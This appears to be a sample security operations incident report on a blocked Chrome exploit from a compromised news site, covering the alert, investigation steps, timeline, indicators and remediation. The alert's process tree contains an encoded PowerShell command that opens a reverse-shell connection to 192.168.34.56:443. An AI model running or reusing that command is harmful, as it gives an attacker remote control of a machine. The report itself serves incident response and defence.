SentinelOne Alert Details
Alert ID: S1-EXPLOIT-CLIENT-1203-7842
Alert Time: 2024-02-13 15:30:45 EST
Severity: CRITICAL (92/100)
Source: SentinelOne Singularity
Rule: “Browser Exploit Attempt – CVE-2024-1234 Detected”
MITRE ATT&CK: T1203 – Exploitation for Client Execution
Alert Details:
Detection: Browser exploit attempt via compromised website
Host: SLS-WS-112 (Sales Department)
User: jharris (Jennifer Harris, Sales Rep)
Time: 15:28 EST
Process Tree:
– chrome.exe (PID: 7842)
– chrome.exe –type=renderer (PID: 7845)
– Suspicious child process: cmd.exe (PID: 7890)
– Command: cmd.exe /c powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADMANAAuADUANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AA==
Exploit Details:
– URL: hxxp://news-breaking[.]net/article?7842 (Compromised news site)
– Exploit: CVE-2024-1234 (Chrome V8 remote code execution)
– Payload: Reverse shell to 192.168.34.56:443
– Sandbox Detection: Heap spray, ROP chain, shellcode
SentinelOne Action:
– Process blocked (kill)
– Host quarantined
– Exploit prevented
Additional Context:
– User visited news site during lunch break
– Site compromised with exploit kit
– No prior detections from this site
SOC Investigation Process
Step
Action
Tools Used
Findings
1. Alert Validation
Verify SentinelOne alert
SentinelOne Console
Confirmed browser exploit attempt blocked
2. User Contact
Interview user
Teams, Phone
User visited news site; no issues noticed
3. URL Analysis
Investigate compromised site
URLScan.io, VirusTotal
Site hosted exploit kit; reported to hosting provider
4. Endpoint Scan
Full scan of host
SentinelOne
No persistence; exploit blocked before execution
5. Blocking
Add domains to blocklists
Zscaler, Palo Alto
news-breaking.net added to blocklists
6. Threat Hunting
Check other users for same site
Zscaler Logs, Splunk
3 other users visited same site (all blocked)
Jira Incident Report
Ticket: SOC-2024-069
Summary: T1203 – Browser Exploit Attempt via Compromised News Site
Status: RESOLVED
Resolution: MALICIOUS – Exploit Blocked
Priority: P2 – MEDIUM
Labels: T1203, client-exploitation, browser-exploit, sentinelone, cve-2024-1234
Components: Endpoint-Security, Web-Security
INCIDENT ANALYSIS REPORT
1. Initial Context:
Detection Source: SentinelOne Singularity.
Alert: “Browser Exploit Attempt – CVE-2024-1234 Detected”.
Host: SLS-WS-112 (Sales Department, user jharris).
Time: 2024-02-13 15:30 EST.
Technique: MITRE ATT&CK T1203 – Exploitation for Client Execution.
2. Technical Analysis:
Exploit Details:
CVE: 2024-1234 (Chrome V8 remote code execution)
Vector: Compromised news site with injected exploit kit
URL: hxxp://news-breaking[.]net/article?7842
Exploit Kit: Fallout Exploit Kit (variant)
Payload:
Reverse shell to 192.168.34.56:443 (internal IP – likely another compromised host)
PowerShell encoded command similar to T1059 pattern
Attempted to establish C2
SentinelOne Protection:
Detected exploit heap spray patterns
Blocked process creation (cmd.exe)
Killed Chrome renderer process
Quarantined host automatically
User Activity:
User visited news site during lunch (15:28)
No interaction with malicious content
Site loaded exploit in background
3. Investigation Findings:
Timeline:
15:28 – User visits news-breaking.net
15:28:30 – Exploit kit loads
15:28:35 – Heap spray detected
15:28:40 – SentinelOne blocks child process
15:28:45 – Host quarantined
15:30 – Alert triggers
15:32 – SOC investigation begins
Scope:
3 other users visited same site (all blocked by Zscaler)
No successful compromises
Internal IP 192.168.34.56 identified as ENG-WS-045 (compromised earlier, already isolated)
Indicators of Compromise (IoCs):
Network:
– Domain: news-breaking[.]net
– IP: 185.143.221[.]67 (hosting exploit)
– Internal C2: 192.168.34.56:443
Exploit:
– CVE-2024-1234
– Heap spray patterns
4. Containment Actions:
Immediate Actions:
news-breaking.net added to Zscaler, Palo Alto, Umbrella blocklists.
User’s host released from quarantine after full scan (clean).
Internal C2 host already isolated (from previous incident).
Site Takedown:
Reported to domain registrar and hosting provider.
Site taken down within 24 hours.
5. Root Cause Analysis:
Primary Cause: Compromised news site serving exploit kit.
Contributing Factors:
Users visit news sites during breaks.
Chrome browser up-to-date (CVE still zero-day at time).
SentinelOne’s behavioral detection caught exploit.
6. Business Impact: None – exploit blocked.
7. Remediation & Prevention:
Completed Actions:
Malicious domain blocked.
Users notified.
Host confirmed clean.
Prevention Enhancements:
Enhanced Zscaler policy to block newly registered domains.
Pushed Chrome update to all endpoints.
Enabled additional exploit detection signatures.
8. Conclusion:
A user visited a compromised news site hosting an exploit kit targeting Chrome. SentinelOne detected and blocked the exploit attempt before any code execution. No compromise occurred.
Closure Rationale: Exploit blocked; domain blacklisted; users safe.
Analyst: [Walter White], SOC Analyst
Date: 2024-02-13 16:30 EST